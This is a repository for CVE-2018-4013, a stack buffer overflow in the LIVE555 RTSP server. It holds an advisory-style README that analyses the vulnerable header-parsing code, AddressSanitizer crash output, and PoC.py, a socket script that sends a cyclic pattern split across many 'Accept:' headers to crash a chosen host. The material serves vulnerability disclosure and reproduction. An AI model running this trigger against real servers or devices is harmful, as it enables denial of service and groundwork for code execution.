├── .gitignore ├── PoC.py └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /PoC.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | import re 4 | 5 | def genHeader(raw): 6 | header = ''' 7 | GET / HTTP/1.1\r\n 8 | Host: 127.0.0.1:8000\r\n 9 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0\r\n 10 | Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3\r\n 11 | Accept-Encoding: gzip, deflate\r\n 12 | Connection: keep-alive\r\n 13 | Upgrade-Insecure-Requests: 1\r\n 14 | ''' 15 | header += "Accept:" 16 | if len(raw) < 50: 17 | result = raw 18 | else: 19 | group = re.findall(r'.{50}',raw) 20 | result = "\r\nAccept:".join(group) 21 | if len(raw)%50: 22 | result += "\r\nAccept:" + raw[len(raw)-len(raw)%50:] 23 | header += result 24 | header +="\r\n\r\n" 25 | return header 26 | 27 | 28 | def exploit(target,port,payload): 29 | sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 30 | sock.connect((target,port)) 31 | raw = genHeader(payload) 32 | sock.send(raw) 33 | 34 | if __name__ == "__main__": 35 | if len(sys.argv)<3: 36 | print ("usage: python PoC.py IP PORT") 37 | else: 38 | payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9' 39 | exploit(sys.argv[1],int(sys.argv[2]),payload) 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Live Networks LIVE555 streaming media RTSPServer lookForHeader code execution vulnerability 2 | CVE-2018-4013 3 | ### Summary 4 | An exploitable code execution vulnerability exists in the HTTP packet-parsing functionality of the LIVE555 RTSP server library. A specially crafted packet can cause a stack-based buffer overflow, resulting in code execution. An attacker can send a packet to trigger this vulnerability. 5 | 6 | ### Details 7 | The LIVE555 Media Libraries are a lightweight set of multimedia streaming libraries for RTSP/RTCP/RTSP/SIP, with code support for both servers and clients. They are utilized by popular media players such as VLC and MPlayer, as well as a multitude of embedded devices (mainly cameras). This vulnerability is in the server component which interacts with these media players but does not impact the media players. 8 | 9 | One of the functionalities enabled by LIVE555 for their standard RTSP server is the ability to tunnel RTSP over HTTP, which is served by a different port bound by the server, typically TCP 80, 8000, or 8080, depending on what ports are available on the host machine. This port can support normal RTSP, but in certain cases, the HTTP client can negotiate the RTSP-over-HTTP tunnel. The code that handles this feature is: 10 | 11 | // liveMedia/RTSPServer.cpp:607 12 | void RTSPServer::RTSPClientConnection::handleRequestBytes(int newBytesRead) { 13 | [...] 14 | // The request was not (valid) RTSP, but check for a special case: HTTP commands 15 | // (for setting up RTSP-over-HTTP tunneling): 16 | char sessionCookie[RTSP_PARAM_STRING_MAX]; //[1] 17 | char acceptStr[RTSP_PARAM_STRING_MAX]; //[2] 18 | *fLastCRLF = '\0'; // temporarily, for parsing 19 | parseSucceeded = parseHTTPRequestString(cmdName, sizeof cmdName, 20 | urlSuffix, sizeof urlPreSuffix, 21 | sessionCookie, sizeof sessionCookie, 22 | acceptStr, sizeof acceptStr); //[3] 23 | As shown above at [3], the “Accept” and “x-sessioncookie” HTTP headers are what decide if it is an RTSP-over-HTTP tunnel or not. Thus, the parameters are read from the input bytes into the sessionCookie [1] and acceptStr [2] buffers on the stack (both of size 200), and then parsed further down. 24 | 25 | The code path leads into the parseHTTPRequestString function: 26 | 27 | Boolean RTSPServer:: RTSPClientConnection::parseHTTPRequestString(char* resultCmdName, unsigned resultCmdNameMaxSize, 28 | char* eurlSuffix, unsigned urlSuffixMaxSize, 29 | char* sessionCookie, unsigned sessionCookieMaxSize, 30 | char* acceptStr, unsigned acceptStrMaxSize) { 31 | [...] 32 | lookForHeader("x-sessioncookie", &reqStr[i], reqStrSize-i, sessionCookie, sessionCookieMaxSize); // [1] 33 | lookForHeader("Accept", &reqStr[i], reqStrSize-i, acceptStr, acceptStrMaxSize); //[2] 34 | The only really important things to note are that the char arrays from the parent function are once again passed into a new function directly at [1] (sessionCookie) and [2] (acceptStr). This leads into the lookForHeader function: 35 | 36 | static void lookForHeader(char const* headerName, char const* source, unsigned 37 | sourceLen, char* resultStr, unsigned resultMaxSize) { 38 | resultStr[0] = '\0'; // by default, return an empty string 39 | unsigned headerNameLen = strlen(headerName); 40 | for (int i = 0; i < (int)(sourceLen-headerNameLen); ++i) { 41 | if (strncmp(&source[i], headerName, headerNameLen) == 0 && source[i+headerNameLen] == ':') { // [1] 42 | // We found the header. Skip over any whitespace, then copy the rest of the line to "resultStr": 43 | for (i += headerNameLen+1; i < (int)sourceLen && (source[i] == ' ' || source[i] == '\t'); ++i) {} 44 | for (unsigned j = i; j < sourceLen; ++j) { // [4] 45 | if (source[j] == '\r' || source[j] == '\n') { // [2] 46 | // We've found the end of the line. Copy it to the result (if it will fit): 47 | if (j-i+1 > resultMaxSize) break; 48 | char const* resultSource = &source[i]; 49 | char const* resultSourceEnd = &source[j]; 50 | while (resultSource < resultSourceEnd) *resultStr++ = *resultSource++; // [5] 51 | *resultStr = '\0'; 52 | break; //[3] 53 | } 54 | } 55 | } 56 | } 57 | } 58 | The outermost loop iterates over our input bytes until the headerName is found. In the case of this program, it continuously looks for “Accept:” and “x-sessioncookie:” with strncmp at [1]. As the comment notes, another loop skips over any whitespace found, and then starts to look for the expected newline chars ‘\r\n’ at [2]. After this, the program correctly limits the size of the copy to resultMaxSize, which is correctly set to 0xc8 (200) on both calls into this function. 59 | 60 | After the copy, the break at [3] is hit, which only actually breaks out of the loop at [4], causing the code to jump back to the initial strncmp loop that was mentioned above. Thus, if there’s another “Accept:” or “x-sessioncookie” string within the buffer, the copy again takes place, and if we examine the actual method of copying at [5], we can see that our initial pointer (that’s pointing to an address in the stack frame of the handleRequestBytes function) continues to increment, and while the length of any given copy is limited to the size of the buffer, when there’s no limit on the amount of copies that can occur on an ever increasing destination address, a stack-based buffer overflow can be easily triggered. 61 | 62 | Crash Output 63 | ==38574==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffd878 at pc 0x555555aad1fb bp 0x7fffffffced0 sp 0x7fffffffcec8 64 | WRITE of size 1 at 0x7fffffffd878 thread T0 65 | #0 0x555555aad1fa in lookForHeader /root/boop/work_work/triages/live555/live/liveMedia/RTSPServer.cpp:398 66 | #1 0x555555aad847 in RTSPServer::RTSPClientConnection::parseHTTPRequestString(char*, unsigned int, char*, unsigned int, char*, unsigned int, char*, unsigned int) /root/boop/work_work/triages/live555/live/liveMedia/RTSPServer.cpp:479 67 | #2 0x555555ab82ac in RTSPServer::RTSPClientConnection::handleRequestBytes(int) /root/boop/work_work/triages/live555/live/liveMedia/RTSPServer.cpp:828 68 | #3 0x555555aa9c17 in GenericMediaServer::ClientConnection::incomingRequestHandler() /root/boop/work_work/triages/live555/live/liveMedia/GenericMediaServer.cpp:246 69 | #4 0x555555e0063b in BasicTaskScheduler::SingleStep(unsigned int) /root/boop/work_work/triages/live555/live/BasicUsageEnvironment/BasicTaskScheduler.cpp:153 70 | #5 0x555555e12c75 in BasicTaskScheduler0::doEventLoop(char volatile*) /root/boop/work_work/triages/live555/live/BasicUsageEnvironment/BasicTaskScheduler0.cpp:80 71 | #6 0x555555a9452c in main /root/boop/work_work/triages/live555/live/mediaServer/live555MediaServer.cpp:89 72 | #7 0x7ffff550b2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) 73 | #8 0x555555a978e9 in _start (/root/boop/work_work/triages/live555/live555MediaServer+0x5438e9) 74 | 75 | Address 0x7fffffffd878 is located in stack of thread T0 at offset 2024 in frame 76 | #0 0x555555ab6b9f in RTSPServer::RTSPClientConnection::handleRequestBytes(int) /root/boop/work_work/triages/live555/live/liveMedia/RTSPServer.cpp:607 77 | 78 | This frame has 12 object(s): 79 | [32, 33) 'reuseConnection' 80 | [96, 97) 'deliverViaTCP' 81 | [160, 164) 'contentLength' 82 | [224, 232) 'proxyURLSuffix' 83 | [288, 488) 'cmdName' 84 | [544, 744) 'urlPreSuffix' 85 | [800, 1000) 'urlSuffix' 86 | [1056, 1256) 'cseq' 87 | [1312, 1512) 'sessionIdStr' 88 | [1568, 1768) 'sessionCookie' 89 | [1824, 2024) 'acceptStr' <== Memory access at offset 2024 overflows this variable 90 | [2080, 2480) 'urlTotalSuffix' 91 | HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext 92 | (longjmp and C++ exceptions *are* supported) 93 | SUMMARY: AddressSanitizer: stack-buffer-overflow /root/boop/work_work/triages/live555/live/liveMedia/RTSPServer.cpp:398 in lookForHeader 94 | Shadow bytes around the buggy address: 95 | 0x10007fff7ab0: f4 f4 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 96 | 0x10007fff7ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 97 | 0x10007fff7ad0: f4 f4 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 98 | 0x10007fff7ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 99 | 0x10007fff7af0: f4 f4 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 100 | =>0x10007fff7b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f4] 101 | 0x10007fff7b10: f4 f4 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 102 | 0x10007fff7b20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 103 | 0x10007fff7b30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 104 | 0x10007fff7b40: 00 00 00 00 00 00 00 00 f4 f4 f3 f3 f3 f3 00 00 105 | 0x10007fff7b50: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 106 | 107 | ## CREDIT 108 | Discovered by Lilith ¯\_(ツ)_/¯ of Cisco Talos. 109 | --------------------------------------------------------------------------------